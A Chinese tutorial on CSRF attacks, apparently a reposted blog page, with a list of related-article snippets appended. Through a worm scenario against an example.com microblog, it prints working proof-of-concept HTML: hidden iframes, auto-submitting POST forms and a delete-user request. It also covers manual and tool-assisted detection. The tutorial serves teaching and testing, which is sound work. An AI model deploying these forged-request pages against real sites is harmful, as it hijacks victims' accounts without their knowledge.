WEB安全--CSRF剖析

CSRF攻击:攻击者构造合法的HTTP请求,随后利用用户的身份操作用户帐户的一种攻击方式。

一、CSRF攻击原理
CSRF的攻击建立在浏览器与Web服务器的会话中;欺骗用户访问URL。

二、CSRF攻击场景(GET)
例:
http://www.example.com是全球最大的微博平台,一次偶然的情况,黑客TOM对微博的收听功能做了抓包

GET /listen?uid=218805&listenid=100 HTTP/1.1
Host: www.example.com 

TOM分析uid代表自己,listenid代表被收听用户。
随后设想可以直接构造一个URL:http://www.example.com/listen?uid=218805&listenid=228820
但是别人的ID是TOM无法得知的,因此尝试直接构造URL:http://www.example.com/listen?listenid=228820,实验成功,就算无uid,访问此URL也可以成功收听228820号用户。
于是TOM准备在微博平台制造一个蠕虫攻击,TOM在微博平台发表了有诱惑性的微博:诱导用户单击这个URL链接。
进一步,TOM心想让每个用户都帮助自己发站内信,或者是转发微博,因此再一次拦截数据包:

GET /publish?id=928978 HTTP/1.1  

Host: www.example.com  

因此说只要用户访问http://www.example.com/publish?id=928978,就可以自动转发这条微博。
新的问题:如何让用户单击一个URL就同时访问这两个URL?
TOM构造了一个单独的HTML页面open.html

<html>
    <head>
        <title>
            逗你玩的。。。
        </title>
    </head>
    <body>
        你上当了,这不过是个玩笑。<a href="http://www.example.com">单击我返回</a>
        <iframe src="http://www.example.com/listen?listenid=228820" frameborder="0" width="0px"/>
        <iframe src="http://www.example.com/publish.php?id=928978" frameborder="0" width="0px"/>
    </body>
</html>  

当用户A单击open.html后,就会自动收听TOM用户,并且把这篇文章转发到自己的微博中,A的好友B看到后可能也会点击,这样就陷入了循环。

三、CSRF攻击场景(POST)
使用POST方法,一样存在CSRF攻击的可能,只不过增加了攻击的难度。
例:

POST /publish HTTP/1.1
Host:www.example.com  

listenid=228820  

攻击者可以构造类似如下的页面,post.html

<html>
    <head>
        <title>
            post data
        </title>
    </head>
    <body>
        <form id="myform" method="post" action="http://www.example.com/publish">
            <input type="hidden" name="listenid" value="228820">
        </form>
        <script>
            var myform = document.getElementById("myform");
            myform.submit();
        </script>
    </body>
</html>  

在post.html中构造一个form表单,然后利用JavaScript自动提交表单。

四、CSRF的检测

检测CSRF攻击主要分为两种:手工检测和半自动检测。全自动CSRF工具的误报率较大,不予考虑。

4.1 手工检测
在检测CSRF漏洞时,首先需要确定的一点是:CSRF只能通过用户的正规操作进行攻击,实际上就是劫持用户操作。所以,在检测前首先需要确定Web应用程序的所有功能,以及确定哪些操作是敏感的,比如修改密码、转账、发表留言等功能。
确定了敏感性操作后,使用这项“功能”拦截HTTP请求,比如,删除用户操作URL为:http://www.example.com/delUser.action?id=1
编写CSRF POC为:

<html>
    <body>
        <form name="myform" action="delUser.action" method="GET">
            <input type="hidden" name="id" value="5"/>
        </form>
        <script>
            var myform = document.getElementById("myform");
            myform.submit();
        </script>
    </body>
</html>  

CSRF漏洞也可以理解为:服务器到底有没有执行POC的请求,如果已执行,则代表存在CSRF漏洞。

4.2 半自动检测
使用工具CSRFTester,能够记录请求的每个URL,并且自动生成 CSRF POC。

时间: 2024-12-28 20:19:06

WEB安全--CSRF剖析的相关文章

小白日记50:kali渗透测试之Web渗透-CSRF

CSRF CSRF原理:经常与XSS混淆. 从信任的角度进行区分:XSS:利用用户对站点的信任:CSRF:利用站点对已经身份认证的信任(有一定的信任)[默认情况:站点不信任客户端] 结合社工在身份认证会话过程中实现攻击 场景: 1.修改账号密码.个人信息(email.收货地址) 2.发送伪造的业务请求(网银.购物.投票) 3.关注他人社交账号.推送博文 4.在用户非自愿.不知情情况下提交请求 属于业务逻辑漏洞(所有请求都是正常的请求) 对关键操作(支付.提交订单等)缺少确认机制(如验证码) 自动

关于web安全--CSRF和XSS

CSRF:跨站请求伪造. 攻击原理:一个用户登陆了可信的网站A,身份验证后A会下发一个cookie:此时用户又打开了另一个危险网站B,B引诱用户点击连接(该链接会访问A的接口),由于此时会携带cookie,网站A认为这个请求是合法的,就执行了该请求. 防范措施: 1.接口增加token 2.refer验证,验证HTTP请求的来源地址 参考资料 https://www.ibm.com/developerworks/cn/web/1102_niugang_csrf/ XSS:跨域脚本攻击 攻击原理:

web安全值csrf

CSRF概念:CSRF跨站点请求伪造(Cross-Site Request Forgery),跟XSS攻击一样,存在巨大的危害性,你可以这样来理解:       攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件.发消息,盗取你的账号,添加系统管理员,甚至于购买商品.虚拟货币转账等. 如下:其中Web A为存在CSRF漏洞的网站,Web B为攻击者构建的恶意网站,User C为Web A网站的合法用户.  C

web安全CSRF和XSS

web端的安全攻击有CSRF和XSS两种,将通过以下三个方面介绍这两种安全攻击: 1.基本概念和缩写 2.攻击原理 3.防御措施 CSRF  1.基本概念和缩写 CSRF(Cross-site request forgery)跨站请求伪造,是通过伪装成受信任用户的请求来利用受信任的网站进行攻击. 2.攻击原理 3.防御措施 CSRF是攻击者可以利用保存到cookie伪造用户发送请求,所以防御的关键是在请求中放入攻击者不可伪造的信息. Token验证:在http请求的头信息中增加一个Token字段

前端web安全-CSRF基础入门

前言 今天找了个新地方进行学习 嘿嘿  采光不错!特别适合看书呢. 前言 1.CSRF 跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法.跟跨网站脚本(XSS)相比,XSS利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任. 2.漏洞危害 是指利用受害者尚未

Web Service深度剖析

Web Service 1.定义: Web service是一个平台独立的,低耦合的,自包含的.基于可编程的web的应用程序,可使用开放的XML(标准通用标记语言下的一个子集)标准来描述.发布.发现.协调和配置这些应用程序,用于开发分布式的互操作的应用程序. 2.Web Service技术, 能使得运行在不同机器上的不同应用无须借助附加的.专门的第三方软件或硬件, 就可相互交换数据或集成. Soap:(Simple Object Access Protocol)简单对象存取协议.是XML Web

WEB安全--CSRF防御

CSRF漏洞防御主要可以从三个层面进行,即服务端的防御.用户端的防御和安全设备的防御. 服务端的防御 目前服务器端防御CSRF攻击主要有5种策略(我知道的就这么多):验证HTTP Referer字段,在请求地址中添加token并验证,在HTTP头中自定义属性并验证等.下面分别对5种策略进行简要介绍. 验证HTTP Referer字段 根据HTTP协议,在HTTP头中有一个字段叫Referer,它记录了该HTTP请求的来源地址.在通常情况下,访问一个安全受限页面的请求必须来自于同一个网站.比如某银

WEB笔记-2 剖析CSS规则

2.1 剖析CSS规则 规则即指令,其声明了需要修改的元素及要应用给元素的样式. 2.2 为文档添加样式的三种方法 行内样式:直接写在HTML文档标签中的style属性当中,行内元素只影响它所在的标签,总会覆盖嵌入样式和链接样式 例:<p style="width=300px;height=120px;color=red;"></p> 嵌入样式:写在<style>标签中,会覆盖外部样式 例:<style>......</style&

Tomcat剖析(四):Tomcat默认连接器(2)

Tomcat剖析(四):Tomcat默认连接器(2) 目录: Tomcat剖析(一):一个简单的Web服务器 Tomcat剖析(二):一个简单的Servlet服务器 Tomcat剖析(三):连接器(1) Tomcat剖析(三):连接器(2) Tomcat剖析(四):Tomcat默认连接器(1) Tomcat剖析(四):Tomcat默认连接器(2) 同样的,你需要先下载代码. https://github.com/zebinlin/Tomcat4-src 经过上一节的讲解,你已经理解了请求和响应对